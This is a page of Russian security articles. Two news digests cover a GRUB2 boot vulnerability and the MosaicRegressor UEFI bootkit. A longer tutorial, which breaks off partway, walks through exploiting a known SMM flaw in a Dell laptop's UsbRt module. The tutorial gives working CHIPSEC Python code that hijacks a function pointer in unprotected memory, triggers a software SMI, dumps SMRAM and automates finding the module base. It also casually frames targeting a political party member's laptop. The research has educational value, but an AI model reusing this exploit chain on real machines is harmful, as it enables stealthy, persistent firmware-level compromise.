Русский
Русский
English
Статистика
Реклама

Uefi

Security Week 32 уязвимость в GRUB2

03.08.2020 18:13:27 | Автор: admin
29 июля компания Eclypsium опубликовала исследование новой уязвимости в загрузчике Grub2, массово используемом в системах на базе Linux от ноутбуков и IoT-устройств до серверов. Суть уязвимости довольно простая: ошибки при обработке текстового конфигурационного файла grub.cfg приводят к переполнению буфера и открывают возможность выполнения произвольного кода. Последствия тоже понятные: взлом системы на ранней стадии загрузки обеспечивает полный контроль над ней, затрудняет обнаружение проблемы. Уязвимости был присвоен идентификатор CVE-2020-10713. Это не единственная уязвимость, закрытая в Grub2 за последнее время: после уведомления мейнтейнеров популярных дистрибутивов в коде загрузчика было исправлено еще как минимум 7 похожих проблем с рейтингом опасности по CVSS от 5,7 до 6,4. Оригинальная уязвимость по тому же методу оценки получила 8,2 балла.

Для эксплуатации уязвимости атакующему требуется получить высокий уровень доступа к системе. Настолько высокий, что в большинстве сценариев дополнительно взламывать Grub2 вроде бы и не обязательно. Варианты, когда это действительно приносит пользу злоумышленнику, еще предстоит исследовать. Основная проблема данной уязвимости заключается в сложных взаимоотношениях между Grub2 и UEFI Secure Boot универсальным инструментом инициализации железа, помимо прочего гарантирующим, что на следующих этапах будет запущен только проверенный код с цифровой подписью. Из-за особенностей лицензии, под которой распространяется Grub2, между UEFI и Grub2 вставлен посредник, известный как shim небольшой загрузчик, проверяющий версию Grub2. Перевыпуск этих самых shim, а заодно обновление UEFI огромного числа систем, блокирующее старые shim, это, если выражаться простыми словами, Гигантская Головная Боль всей индустрии.

Технические особенности уязвимости достаточно подробно (но без примеров эксплуатации) расписаны в отчете Eclypsium. В коде Grub2, отвечающем за парсинг текстового конфигурационного файла, предусмотрена обработка ситуации, когда входящая строка слишком длинная. Ошибка в коде может привести к тому, что данные все же будут загружены, и произойдет переполнение буфера. В данном случае важнее не уязвимость, а ее последствия. Ранее уже происходили ситуации, когда незащищенную версию Grub (из-за ошибки конфигурации) приходилось добавлять в так называемый UEFI Revocation List список shim, которые обновленная система откажется запускать. Этот список нужно как-то доставить на конкретную систему, что может сделать либо поставщик железа, либо разработчик операционной системы, например компания Microsoft, помимо прочего отвечающая за сертификацию загрузочного кода, в том числе и для Linux-систем. Любая ошибка в апдейте, применяемом на ранней стадии, может сделать компьютер или сервер полностью неработоспособным.

Иными словами, обновления Grub, закрывающего свежеобнаруженные уязвимости, недостаточно для решения проблемы. Требуется запретить выполнение старых версий Grub2 путем добавления связанных с ними shim в UEFI Revocation List. По данным Eclypsium, более 80 промежуточных загрузчиков потребуется заблокировать, и вот это уже исключит возможность запуска произвольного кода, если обновление так или иначе доберется до конкретной материнской платы с конкретной версией UEFI. И кстати, так как уязвимость была найдена в универсальном, не зависящем от платформы коде, устройства на архитектуре arm64 также подвержены.

Кроме того, понадобится обновить системы экстренного восстановления компьютеров или серверов, иначе в будущем может сложиться ситуация, когда инструмент восстановления не сработает. Потребуется протестировать и патчи для Grub, и новые промежуточные загрузчики, и обновления Revocation List. Уже сейчас даже простое обновление Grub2 вызывает проблемы: см. отчет на Хабре о неработоспособности серверов под управлением CentOS после установки багфикса RHSA-2020:3216, закрывающего данную уязвимость. Решаться проблема будет долго, и именно поэтому код Grub2 был проверен на наличие похожих уязвимостей, чтобы не пришлось проходить этот процесс несколько раз. С одной стороны, реальной опасности данная уязвимость прямо сейчас не несет. С другой она включает сложный механизм взаимодействия разработчиков софта и железа, который в данном случае неизбежен. Хорошее подтверждение расхожей фразы о том, что безопасность это процесс, а не результат.

Что еще произошло:
Компания Garmin устраняет последствия атаки на собственную инфраструктуру, подробно описанной в предыдущем дайджесте. По состоянию на 3 августа полностью восстановлены сервисы Garmin Aviation, включая FlyGarmin. Функциональность облачного сервиса Garmin Connect для умных часов компании восстановлена частично. Сайт Bleeping Computer, снова со ссылкой на анонимные источники, сообщает о том, что ключ для расшифровки данных, пострадавших от трояна-вымогателя, компания получила. Как именно непонятно, но возможных вариантов здесь немного. Эксперты Лаборатории Касперского опубликовали подробный разбор сэмпла WastedLocker, который (скорее всего) атаковал Garmin.

Еще одна крупная атака с вымогательством произошла в компании CWT, занятой организацией командировок. Злоумышленники требуют выкуп в размере 4,5 миллиона долларов.

В США арестованы подозреваемые во взломе десятков аккаунтов Twitter в середине июля. Так быстро идентифицировать взломщиков удалось благодаря их беспечности. Например, один почтовый адрес использовался на хакерском форуме и на бирже криптовалют, а взлом форума позволил сопоставить учетную запись с реальным IP. Подробнее в публикации ZDNet и на Хабре.

Уязвимость в VoIP-адаптерах Grandstream позволяет взломать их на стадии первоначальной настройки, в том числе с использованием подготовленного SIP-пакета.

В Zoom закрыли детскую уязвимость, позволявшую взламывать пароли для доступа к телеконференции. Пароли в Zoom используются шестизначные, а число попыток ввода никак не ограничено можно было взломать грубой силой, зная только идентификатор встречи (как правило, постоянный).

Найдена свежая десятибалльная уязвимость в плагине wpDiscuz для обработки комментариев на сайтах под управлением Wordpress с возможностью выполнения произвольного кода. Подвержены 70 тысяч сайтов.
Подробнее..

Security Week 41 вредоносный код в UEFI

05.10.2020 18:05:13 | Автор: admin
Эксперты Лаборатории Касперского опубликовали интересное исследование, посвященное вредоносному коду MosaicRegressor. Код использует предположительно киберкриминальная группа с китайскими корнями, он интересен тем, что содержит модули для заражения компьютера через UEFI. Подобные буткиты по-прежнему считаются одними из наиболее сложных видов вредоносного ПО. В случае успешного заражения они позволяют повторно заражать операционную систему даже после переустановки.



В данном случае было обнаружено несколько образов UEFI с уже встроенным вредоносным кодом. Этот код имеет единственную функцию добавляет содержащийся внутри файл в папку автозагрузки ОС Windows. Дальнейшая атака развивается по типичному кибершпионскому сценарию, с кражей документов и отправкой иных данных на командные серверы. Еще один неожиданный нюанс данного исследования: вредоносный код в UEFI использует исходники, ранее попавшие в открытый доступ в результате взлома инфраструктуры компании Hacking Team.



В зараженных образах UEFI были обнаружены четыре модуля, как показано на скриншоте выше. Два выполняют сервисные функции, в том числе отвечают за запуск вредоносного кода в нужный момент (прямо перед загрузкой операционной системы). Еще один представляет собой драйвер для файловой системы NTFS. Основной вредоносный модуль содержит в себе файл IntelUpdate.exe, который прописывается на SSD или жесткий диск в директорию автозапуска Windows.



Два сервисных модуля и драйвер, судя по всему, позаимствованы из кода Vector-EDK. Это буткит, исходные коды которого попали в открытый доступ после масштабной утечки данных из компании Hacking Team. Эта организация, занимающаяся разработкой методов атаки на компьютерные системы по заказу государственных органов, сама подверглась взлому в 2015 году, в результате чего в открытый доступ попала как внутренняя переписка, так и обширная база знаний.

К сожалению, идентифицировать метод заражения UEFI исследователям не удалось. Среди нескольких десятков жертв MosaicRegressor всего два пострадавших компьютера имели видоизмененный базовый загрузчик. Если опираться на ту же утечку из Hacking Team, то там предлагается заражение вручную, путем подключения к компьютеру USB-флешки, с которой загружается UEFI с довеском. Удаленный патч UEFI исключать нельзя, но для этого понадобилось бы взломать процесс загрузки и инсталляции обновлений.

Устанавливаемый на атакованные компьютеры шпионский модуль подключается к командному центру и скачивает необходимые для дальнейшей работы модули. Например, один из механизмов забирает недавно открытые документы, пакует их в архив с паролем и отправляет организаторам. Еще один интересный момент: для связи используются как традиционные методы коммуникации с управляющими серверами, так и работа через публичный почтовый сервис по протоколу POP3S/SMTP/IMAPS. Через почту происходит как загрузка модулей, так и отправка данных организаторам атаки.

Что еще произошло:
The Register напоминает об окончании поддержки производителем почтового сервера Microsoft Exchange 2010. Авторы статьи отмечают, что из сети на данный момент доступны 139 тысяч серверов, обновления безопасности для которых скоро прекратятся. А Threatpost пишет о том, что обнаруженная в январе уязвимость в панели управления Microsoft Exchange (версий 20132019) до сих пор не закрыта на 61% серверов.

В ПО HP Device Manager для управления тонкими клиентами этой компании обнаружен бэкдор, а точнее, сервисный аккаунт, забытый разработчиком.

Несмотря на усилия Google, варианты вредоносного ПО Joker продолжают время от времени проходить верификацию магазина приложений Google Play. Зловред, как правило, подписывает жертв на платные услуги без их ведома.
Подробнее..

System Management Mode From Zero to Hero

19.05.2021 08:16:04 | Автор: admin

Исследования в области безопасности UEFI BIOS уже не являются чем-то новомодным, но в последнее время чувствуется некоторый дефицит образовательных материалов по этой теме (особенно на русском языке). В этой статье мы постараемся пройти весь путь от нахождения уязвимости и до полной компрометации UEFI BIOS. От эксплуатации execute примитива до закрепления в прошивке UEFI BIOS.

Автор статьи Закиров Руслан @backtrace.

Предполагается, что читатель уже знаком с основами UEFI BIOS и устройством подсистемы SMM.

Тестовый стенд и подготовка к работе

В качестве подопытного кролика мы взяли ноутбук DELL Inspiron 7567. Причины выбора этого ноутбука следующие: нам известно, что в старой прошивке этого ноутбука есть известная уязвимость CVE-2017-5721, а также он есть у нас в наличии.

Первое, что происходит с ноутбуком при начале исследований - определение местоположения SPI флеш-памяти на материнской плате. Обнаружить этот чип можно визуально после разборки ноутбука. SPI флеш-память практически всегда находится на нижней стороне материнской платы, поэтому полный разбор ноутбука не требуется. Иногда даже достаточно снять крышку для доступа к HDD.

После обнаружения SPI флеш-памяти есть 2 варианта развития событий:

  1. Подключаем любым доступным способом флеш-память к программатору напрямую от ноутбука (строго в выключенном состоянии);

  2. Выпаиваем этот чип, для того чтобы можно было поместить его в кроватку (адаптер), что позволит быстро переподключать флеш-память от ноутбука к программатору и обратно.

Мы в нашей работе используем универсальный программатор ChipProg-481, но, в целом, подойдёт любой SPI программатор. Наличие программатора необходимо, поскольку ошибка при работе с содержимым флешки может привести к тому, что ноутбук станет "кирпичом". В таком случае восстановление его работоспособности будет возможно лишь при помощи перезаписи содержимого SPI флеш-памяти заранее снятым с нее дампом "до экспериментов". Также наличие программатора позволит заливать модифицированные прошивки со специальным "бэкдором" для расширение возможностей анализа.

Наша работа будет производиться над версией прошивки 1.0.5 (link). При отсутствии возможности откатиться до этой версии прошивки вы можете воспользоваться нашим дампом.

Работаем с прошивкой

После снятия дампа с SPI флеш-памяти возникает необходимость открыть этот бинарный файл. Для этой цели существует UEFITool, который позволяет не только просматривать содержимое прошивки UEFI BIOS, но и производить поиск, извлекать, добавлять, заменять и удалять компоненты прошивки. Функции, связанные с пересборкой прошивки доступны только в Old Engine версии. Для остальных задач лучше использовать New Engine (содержит "NE" в названии файла).

Довольно часто нужные кодовые модули EFI можно найти внутри дампа по их названиям (напрмер, UsbRt). Но в некоторых случаях вендоры не сохраняют информацию о названиях модулей в прошивке. В таком случае поиск требуемого модуля следует производить при помощи его GUID, но это сработает только с общеизвестными модулями. Нередко разработчики BIOS добавляют в прошивки проприетарные модули, и при отсутствии информации о названиях модулей приходится придумывать свои собственные.

GUID модулей можно найти в следующих источниках:

  1. В открытой реализации UEFI EDKII

  2. В репозитории (U)EFI Whitelisting Project

  3. В прошивке UEFI BIOS другого ноутбука, в котором названия модулей сохранены

  4. В интегрированных базах различных инструментов и плагинов

Инструменты

При анализе модулей наиболее полезными инструментами являются IDA Pro и Ghidra. Но наличие только этих инструментов будет недостаточно. В этих материалах можно подробно узнать об актуальных инструментах при исследовании UEFI BIOS:

Нам понадобятся следующие инструменты:

  • UEFITool - о нем говорилось выше

  • CHIPSEC - при помощи этого фреймворка мы будем разрабатывать наш PoC

  • RWEverything - очень полезный инструмент, который позволяет взаимодействовать с различными аппаратными ресурсами компьютера, и все это при помощи GUI

  • Плагины для IDA Pro: efiXplorer и/или ida-efitools2

  • Если вы приверженец Ghidra, то вам понадобится плагин efiSeek

  • Для обработки дампа SMRAM нам понадобится скрипт smram_parse

Это не исчерпывающий, но достаточный список инструментов этой тематики. Как можно заметить, все перечисленные инструменты относятся к типу инструментов статического анализа. Как же обстоят дела с инструментами динамического анализа? Можно рассмотреть следующий список актуальных инструментов:

Несмотря на существование подобных инструментов и их активное развитие, в практическом плане при поиске уязвимостей в подсистеме SMM они представляют нулевую ценность, поскольку ориентированы на эмуляцию фаз PEI и DXE.

В таком случае появляется вопрос: как же производить отладку? Отладку можно производить при помощи технологии Intel DCI. Информацию об использовании данной технологии можно получить из следующих материалов:

Проблема этой технологии в том, что работает она далеко не везде. Поэтому отладка зачастую производится методом проб и ошибок.

Ищем уязвимость

UsbRt

Попробуем самостоятельно найти уязвимость в модуле UsbRt. Для начала откроем дамп BIOS в UEFITool, после чего сделаем поиск по тексту "UsbRt", и обнаружим, что это название в прошивке отсутстует (вендор не оставил информацию о названиях модулей) либо называется он по-другому.
Произведя поиск в различных источниках (например, здесь) мы определяем, что модулю UsbRt соответствует GUID 04EAAAA1-29A1-11D7-8838-00500473D4EB. Теперь, при помощи поиска по GUID, мы можем извлечь соответствующую секцию образа PE32. На самом деле UEFITool содержит в себе базу общеизвестных GUID-ов, но надпись "USBRT" пришлось бы искать глазами, поскольку поиск по тексту не включает в себя записи из базы GUID-ов.

Здесь и далее будет использоваться инструмент IDA Pro с указанными выше плагинами, но все необходимые манипуляции доступны и в Ghidra.

После открытия модуля UsbRt в IDA Pro нам необходимо найти обработчик software прерываний. Чаще всего все достаточно просто - после отработки плагина ida-efitools2 функция уже подписана как "DispatchFunction".

Но в данном случае эта функция относится к протоколу EFI_SMM_USB_DISPATCH2_PROTOCOL, который нас не сильно интересует. Нам следует отталкиваться от перекрестных ссылок на EFI_SMM_SW_DISPATCH2_PROTOCOL_GUID, чтобы определить место использования интересующего нас протокола. Так мы сможем понять какая функция регистрируется в качестве обработчика software прерываний.

Я назвал обнаруженный обработчик как "SwDispatchFunction". Также можно заметить, что этому обработчику соответствует SMI прерывание #31h.

Здесь стоит обратить внимание на некий глобальный указатель на структуру "usb_data", на основе которой происходит много операций. Из неё же извлекается структура "request", откуда в свою очередь извлекается некий индекс. Ниже можно заметить, что на основе индекса происходит вызов функции из массива.

.code:0000000080000E80 funcs_1C42 dq offset sub_80001F74       ; DATA XREF: sub_8000191C+259o.code:0000000080000E80                                         ; SwDispatchFunction:loc_80001C35o ....code:0000000080000E80         dq offset sub_80002028.code:0000000080000E80         dq offset sub_80002030.code:0000000080000E80         dq offset sub_8000205C.code:0000000080000E80         dq offset sub_8000205C.code:0000000080000E80         dq offset sub_8000205C.code:0000000080000E80         dq offset sub_80002064.code:0000000080000E80         dq offset sub_800020B0.code:0000000080000E80         dq offset sub_80001F38.code:0000000080000E80         dq offset sub_8000205C.code:0000000080000E80         dq offset sub_8000205C.code:0000000080000E80         dq offset sub_8000205C.code:0000000080000E80         dq offset sub_80002938.code:0000000080000E80         dq offset sub_80002E58.code:0000000080000E80         dq offset sub_80003080.code:0000000080000E80         dq offset sub_800030D8.code:0000000080000E80         dq offset sub_800029AC.code:0000000080000E80         dq offset sub_80002B18.code:0000000080000E80         dq offset sub_80002B20.code:0000000080000E80         dq offset sub_80002D08.code:0000000080000E80         dq offset sub_80002D5C.code:0000000080000E80         dq offset sub_80008888.code:0000000080000E80         dq offset sub_80002C84.code:0000000080000E80         dq offset sub_80002EB0

Сделаем вид, что просмотрели все 24 функции, и наибольший интерес у нас вызвала функция с индексом 14 (sub_80003080), которую назовём как "subfunc_14".

Функция, после нескольких арифметических операций, извлекает и передает указатель из структуры usb_data в следующую функцию:

Здесь мы обнаруживаем просто изумительную функцию! Помимо возможности исполнить произвольный адрес эта функция так же позволяет передать вплоть до 7 аргументов! Но главный вопрос - можем ли мы управлять передаваемым указателем?

Приступим к изучению указателя usb_data. Список перекрестных ссылок не оставляет никаких надежд усомниться в местонахождении инициализации данного указателя:

Судя по всему, нам придётся искать модуль, который производит установку протокола EFI_USB_PROTOCOL (сразу после того как убедились, что этот протокол не устанавливается в модуле UsbRt):

На данном этапе, возможно, уместно было бы воспользоваться плагином efiXplorer для поиска нужного модуля, но мы сделаем по старинке. Копируем GUID интересующего нас протокола (ida-efitools2 позволяет это делать при помощи горячей клавиши Ctrl-Alt-G) либо извлекаем соответствующие этому GUID байты. Полученную информацию используем для поиска в прошивке при помощи UEFITool (ставим галочку Header and body).

Сразу можно отсечь модули, у которых вхождения не только в PE32, но и в "MM dependecy section" (секция зависимостей модуля), поскольку модуль не может одновременно предоставлять протокол и зависеть от него.На выбор остаётся Bds, SBDXE, Setup, CsmDxe, UHCD, KbcEmul и некий безымянный модуль. Можно бегло просмотреть все эти модули на предмет установки протокола EFI_USB_PROTOCOL, но что-то мне подсказывает, что первая буква в аббревиатуре UHCD означает Usb, поэтому перейдем сразу к нему.

UHCD

EFI_USB_PROTOCOL действительно устанавливается в этом модуле. Тут же мы видим указатель usb_data. Также важно отметить, что в первое поле структуры EFI_USB_PROTOCOL записывается сигнатура "USBP" ('PBSU' при обратном порядке байтов). Осталось понять, откуда берётся usb_data.

Структура аллоцируется при помощи той же функции, что и в случае с EFI_USB_PROTOCOL. Также устанавливается сигнатура "$UDA" (Usb DAta?). Как же происходит аллокация памяти?

Вот где собака зарыта! Память выделяется при помощи EFI_BOOT_SERVICES, т.е. в фазе DXE. Это значит, что память не размещена внутри SMRAM, поэтому ОС имеет полный доступ к этой памяти, осталось только найти нужные структуры в ней. Тут не помешает отметить, что память выделяется с типом "AllocateMaxAddress", из-за чего с высокой долей вероятности выделенный буфер будет располагаться где-то неподалеку от начала SMRAM.

Прототипируем эксплоит

У нас начинает вырисовываться следующий алгоритм эксплуатации обнаруженной уязвимости:

  1. Ищем в памяти сигнатуру "$UDA" - так мы установим расположение структуры usb_data;

  2. По определенному смещению заменяем указатель в структуре на подконтрольный адрес;

  3. Также обновляем структуру request в usb_data, чтобы вынудить обработчик исполнить subfunc_14;

  4. В той же структуре можно указать буфер с нашими аргументами для вызываемой функции;

  5. Генерируем software прерывание #31h.

Для всех перечисленных действий нам потребуется привилегии ядра (Ring 0). Но писать эксплоит в виде системного драйвера выглядит довольно трудозатратно и долго.
Под эту задачу идеально подходит фреймворк CHIPSEC, который написан на Python, и который имеет все необходимые примитивы по работе с физической памятью, PCI, прерываниями и прочими аппаратными функциями.
CHIPSEC для доступа к аппаратным ресурсам использует собственный самоподписанный системный драйвер. Из-за этого ОС необходимо переключать в тестовый режим. Но CHIPSEC также позволяет использовать драйвер RWEverything, который имеет валидную цифровую подпись. Этот вариант имеет некоторые подводные камни, как, например, ограничение на размер выделяемой физической памяти, который не может превышать 0x10000 байт.

Инициализация и генерирование прерывания через фреймворк CHIPSEC выглядит следующим образом:

import chipsec.chipsetfrom chipsec.hal.interrupts import InterruptsSMI_USB_RUNTIME = 0x31cs = chipsec.chipset.cs()cs.init(None, None, True, True)intr = Interrupts(cs)intr.send_SW_SMI(0, SMI_USB_RUNTIME, 0, 0, 0, 0, 0, 0, 0)

Приступим к поиску usb_data в памяти.

mem_read = cs.helper.read_physical_memmem_write = cs.helper.write_physical_memmem_alloc = cs.helper.alloc_physical_memPAGE_SIZE = 0x1000SMRAM = cs.cpu.get_SMRAM()[0]for addr in range(SMRAM // PAGE_SIZE - 1, 0, -1):    if mem_read(addr * PAGE_SIZE, 4) == b'$UDA':        usb_data = addr * PAGE_SIZE        break

Мы пользуемся особенностью памяти, выделенной по типу AllocateMaxAddress, производя поиск от SMRAM в обратном порядке. Также нет смысла сверять каждый байт, поскольку для этого буфера выделялись страницы памяти, поэтому шагаем по 4096 байт.

Теперь подготовим нашу структуру request и обновим соответствующий указатель в usb_data:

struct_addr = mem_alloc(PAGE_SIZE, 0xffffffff)[1]mem_write(struct_addr, PAGE_SIZE, '\x00' * PAGE_SIZE)  # очистим структуруmem_write(struct_addr + 0x0, 1, '\x2d')  # здесь указываем номер функции, которую мы хотим вызвать, + 0x19mem_write(struct_addr + 0xb, 1, '\x10')  # поправка на ветер# по этому смещению UsbRt берёт указатель на структуру requestmem_write(usb_data + 0x64E0, 8, pack('<Q', struct_addr))

И самое интересное - изменяем указатель по смещению 0x78 (именно такое значение получается после всех вычислений в функции subfunc_14) в структуре usb_data. Модуль UsbRt затем попытается его исполнить в процессе обработки прерывания.

bad_ptr = 0x12345678func_offset = 0x78mem_write(usb_data + func_offset, 8, pack('<Q', bad_ptr))intr.send_SW_SMI(0, SMI_USB_RUNTIME, 0, 0, 0, 0, 0, 0, 0)

По исполнению этого кода можно заметить, что система намертво зависла. Но дело совсем не в том, что по адресу 0x12345678 располагается невесть что, а в том, что произошло аппаратное исключение Machine Check Exception. Наступило оно по причине того, что современные платформы предотвращают исполнение SMM кода вне региона SMRAM (SMM_Code_Chk_En).

Обойти это ограничение относительно легко - достаточно посмотреть адрес функции memcpy в модуле UsbRt (или любом другом) в дампе SMRAM. Но без дампа SMRAM адрес так просто не узнать. И здесь мы переходим ко второй части этой статьи.

Создаем полноценный эксплоит

Главный минус текущего варианта эксплоита в том, что он позволяешь лишь исполнить код по указанному адресу. Для свободы действий необходимо придумать способ развить эксплоит до полноценного read-write-execute примитива.

Мы можем исполнить любой код в SMRAM, но мы не знаем расположение функций внутри SMRAM. Значит, нужно самостоятельно определить базовый адрес какого-либо модуля. И уже относительно этого базового адреса мы сможем получить адрес интересующей нас функции (memcpy, например).

Полезные структуры

Как мы уже могли заметить, часть используемых данных при работе SMM хранится вне SMRAM. Некоторые структуры инициализируются в процессе работы фазы DXE, и по завершению этой фазы остаются висеть мертвым грузом в зарезервированной памяти, лишая ОС возможности воспользоваться ей. В таких структурах иногда можно обнаружить указатели в область SMRAM. При изучении происхождения этих структур можно наткнуться на очень полезные указатели.

Хорошим примером такой структуры является SMM_CORE_PRIVATE_DATA. Даже название уже интригует. Эти "приватные данные" легко находятся по сигнатуре "smmc" в зарезервированных областях памяти. Структура описана в репозитории EDK2:

typedef struct {  UINTN                           Signature;  ///  /// The ImageHandle passed into the entry point of the SMM IPL.  This ImageHandle  /// is used by the SMM Core to fill in the ParentImageHandle field of the Loaded  /// Image Protocol for each SMM Driver that is dispatched by the SMM Core.  ///  EFI_HANDLE                      SmmIplImageHandle;  ///  /// The number of SMRAM ranges passed from the SMM IPL to the SMM Core.  The SMM  /// Core uses these ranges of SMRAM to initialize the SMM Core memory manager.  ///  UINTN                           SmramRangeCount;  ///  /// A table of SMRAM ranges passed from the SMM IPL to the SMM Core.  The SMM  /// Core uses these ranges of SMRAM to initialize the SMM Core memory manager.  ///  EFI_SMRAM_DESCRIPTOR            *SmramRanges;  ///  /// The SMM Foundation Entry Point.  The SMM Core fills in this field when the  /// SMM Core is initialized.  The SMM IPL is responsible for registering this entry  /// point with the SMM Configuration Protocol.  The SMM Configuration Protocol may  /// not be available at the time the SMM IPL and SMM Core are started, so the SMM IPL  /// sets up a protocol notification on the SMM Configuration Protocol and registers  /// the SMM Foundation Entry Point as soon as the SMM Configuration Protocol is  /// available.  ///  EFI_SMM_ENTRY_POINT             SmmEntryPoint;  ///  /// Boolean flag set to TRUE while an SMI is being processed by the SMM Core.  ///  BOOLEAN                         SmmEntryPointRegistered;  ///  /// Boolean flag set to TRUE while an SMI is being processed by the SMM Core.  ///  BOOLEAN                         InSmm;  ///  /// This field is set by the SMM Core then the SMM Core is initialized.  This field is  /// used by the SMM Base 2 Protocol and SMM Communication Protocol implementations in  /// the SMM IPL.  ///  EFI_SMM_SYSTEM_TABLE2           *Smst;  ///  /// This field is used by the SMM Communication Protocol to pass a buffer into  /// a software SMI handler and for the software SMI handler to pass a buffer back to  /// the caller of the SMM Communication Protocol.  ///  VOID                            *CommunicationBuffer;  ///  /// This field is used by the SMM Communication Protocol to pass the size of a buffer,  /// in bytes, into a software SMI handler and for the software SMI handler to pass the  /// size, in bytes, of a buffer back to the caller of the SMM Communication Protocol.  ///  UINTN                           BufferSize;  ///  /// This field is used by the SMM Communication Protocol to pass the return status from  /// a software SMI handler back to the caller of the SMM Communication Protocol.  ///  EFI_STATUS                      ReturnStatus;  EFI_PHYSICAL_ADDRESS            PiSmmCoreImageBase;  UINT64                          PiSmmCoreImageSize;  EFI_PHYSICAL_ADDRESS            PiSmmCoreEntryPoint;} SMM_CORE_PRIVATE_DATA;

В нашем случае нам бы очень пригодился указатель PiSmmCoreImageBase, по которому располагается модуль PiSmmCore. К сожалению, наша система старовата, и настоящая структура не совсем соответствует описанию. До некоторого момента последних трёх указателей в этой структуре не существовало, как можно заметить в репозитории. В таком случае мы вынуждены прибегнуть к иному способу.

Иной способ

Мы уже знаем, что в памяти располагаются структуры usb_data и usb_protocol. Вполне возможно, что эти структуры содержат указатели на функции внутри модуля UsbRt.

Если мы вернёмся к месту инициализации указателя usb_data в модуле UsbRt, то можем заметить, что в коде происходит замена некоторых указателей в протоколе EFI_USB_PROTOCOL:

Указателями являются функции модуля UsbRt - как раз то, что нам надо. Сконцентрируемся на указателе по смещению +0x50 (+0xA), поскольку он наиболее близок к базовому адресу (это пока не важно).

Извлечь этот указатель достаточно просто:

for addr in range(SMRAM // PAGE_SIZE - 1, 0, -1):    if mem_read(addr * PAGE_SIZE, 4) == b'USBP':        usb_protocol = addr * PAGE_SIZE        breakfuncptr = unpack('<Q', mem_read(usb_protocol + 0x50, 8))[0]

А теперь всё просто: открываем UsbRt в дизассемблере, сопоставляем виртуальный адрес функции с фактическим, находим функцию memcpy, вычисляем разницу между двумя функциями, прибавляем разницу к фактическому адресу полученной функции. Физический адрес функции memcpy получен!

Наш эксплоит теперь можно дополнить. Мы можем, например, сделать полный дамп SMRAM. И возможность передавать аргументы наконец пригодилась:

memcpy = 0x8d5afdb0src = cs.cpu.get_SMRAM()[0]  # начало SMRAMcnt = cs.cpu.get_SMRAM()[2]  # размер SMRAMdst = mem_alloc(cnt, 0xffffffff)[1]argc = 3argv = mem_alloc(argc << 3, 0xffffffff)[1]mem_write(argv, 8, dst)mem_write(argv + 8, 8, src)mem_write(argv + 0x10, 8, cnt)struct_addr = mem_alloc(PAGE_SIZE, 0xffffffff)[1]mem_write(struct_addr, PAGE_SIZE, '\x00' * PAGE_SIZE)  # очистим структуруmem_write(struct_addr + 0x0, 1, '\x2d')  # здесь указываем номер функции, которую мы хотим вызвать, + 0x19mem_write(struct_addr + 0xb, 1, '\x10')  # поправка на ветерmem_write(struct_addr + 0x3, 8, pack('<Q', argv))  # указатель на аргументыmem_write(struct_addr + 0xf, 4, pack('<I', argc << 3))  # размер аргументовmem_write(usb_data + 0x64E0, 8, pack('<Q', struct_addr))mem_write(usb_data + 0x78, 8, pack('<Q', memcpy))intr.send_SW_SMI(0, SMI_USB_RUNTIME, 0, 0, 0, 0, 0, 0, 0)with open('smram_dump.bin', 'wb') as f:    f.write(mem_read(dst, cnt))

Дамп SMRAM получили. Но на душе все равно как-то гадко. Мы ведь вручную сопоставили адреса функций и посчитали разницу до функции memcpy. Нельзя ли сделать это автоматически?

Автоматизируем вычисления

Давайте представим, что мы эксплуатируем ноутбук какого-нибудь члена Национального комитета Демократической партии США. Нам не до сопоставления функций, нужно сделать все в один клик. Более того, нельзя просто взять и положить рядом извлеченный модуль UsbRt. Версия может же отличаться.

Для извлечения актуальной версии модуля идеально подходит специальный регион физической памяти, в которой расположена отображённая на память (memory mapped) флеш-память. Смапленную флеш-память можно прочитать в самом конце 4 ГБ-ного пространства физической памяти. Начало региона зависит от размера флеш-памяти.

Для нас достаточно знать начало и размер BIOS региона. В этом нам поможет регистр BIOS_BFPREG, который находится в SPIBAR. В нем хранятся значения базового смещения и предела BIOS региона внутри флеш-памяти. Это позволяет нам вычислить размер BIOS региона. Поскольку BIOS регион принято хранить последним, то на основе размера этого региона можно определить физический адрес региона в смапленной флеш-памяти.

base = cs.read_register_field('BFPR', 'PRB') << 12limit = cs.read_register_field('BFPR', 'PRL') << 12bios_size = limit - base + 0x1000bios_addr = 2**32 - bios_size

Благодаря широким возможностям фреймворка CHIPSEC у нас есть возможность в автоматизированном режиме распаковать считанную из памяти часть прошивки и извлечь необходимый модуль.

from uuid import UUIDfrom chipsec.hal.uefi import UEFIfrom chipsec.hal.spi_uefi import build_efi_model, search_efi_tree, EFI_MODULE, EFI_SECTIONSECTION_PE32 = 0USBRT_GUID = UUID(hex='04EAAAA1-29A1-11D7-8838-00500473D4EB')uefi = UEFI(cs)bios_data = mem_read(bios_addr, bios_size)def callback(self, module: EFI_MODULE):    # PE32 секция сама по себе не имеет GUID, нужно обращаться к родителю    guid = module.Guid or cast(EFI_SECTION, module).parentGuid    return UUID(hex=guid) == USBRT_GUIDtree = build_efi_model(uefi, bios_data, None)modules = search_efi_tree(tree, callback, SECTION_PE32, False)usbrt = modules[0].Image[module.HeaderSize:]

Далее пойдёт очень хитрая математика:

  • У нас есть указатель на функцию из UsbRt, который был наиболее близок к базовому адресу модуля (вот теперь это стало важно);

  • Из него можно вычесть смещение входной точки, что приблизит нас к нашей цели;

  • Осталось вычислить разницу между входной точкой и имеющейся функцией;

  • Для начала можно выравнить указатель вверх до 0x1000 байт, все равно базовый адрес тоже будет выравнен;

  • Затем можно вычесть 0x2000 байт. Почему именно это число? Оно было установлено путем обсервации прошивок других версий и других вендоров.

    def align_up(x, a):  a -= 1  return ((x + a) & ~a)nthdr_off, = unpack_from('=I', usbrt, 0x3c) ep, = unpack_from('=I', usbrt, nthdr_off + 0x28)imagebase = funcptr imagebase -= ep  imagebase = align_up(imagebase, 0x1000) imagebase -= 0x2000
    

Кстати, занимательный факт: в UEFI модулях SectionAlignment равняется FileAlignment (0x20), из-за чего все смещения внутри файла на диске совпадают со смещениями в образе модуля в памяти. Это сделано для экономии места в регионе SMRAM.

Базовый адрес получен. Дело за малым - определить функцию memcpy. В прошивках UEFI используется memcpy, которая реализована в EDK2 (она на самом деле называется CopyMem). Поэтому она должна совпадать у всех вендоров. Так что будет достаточно безопасно реализовать поиск функции по начальным опкодам.

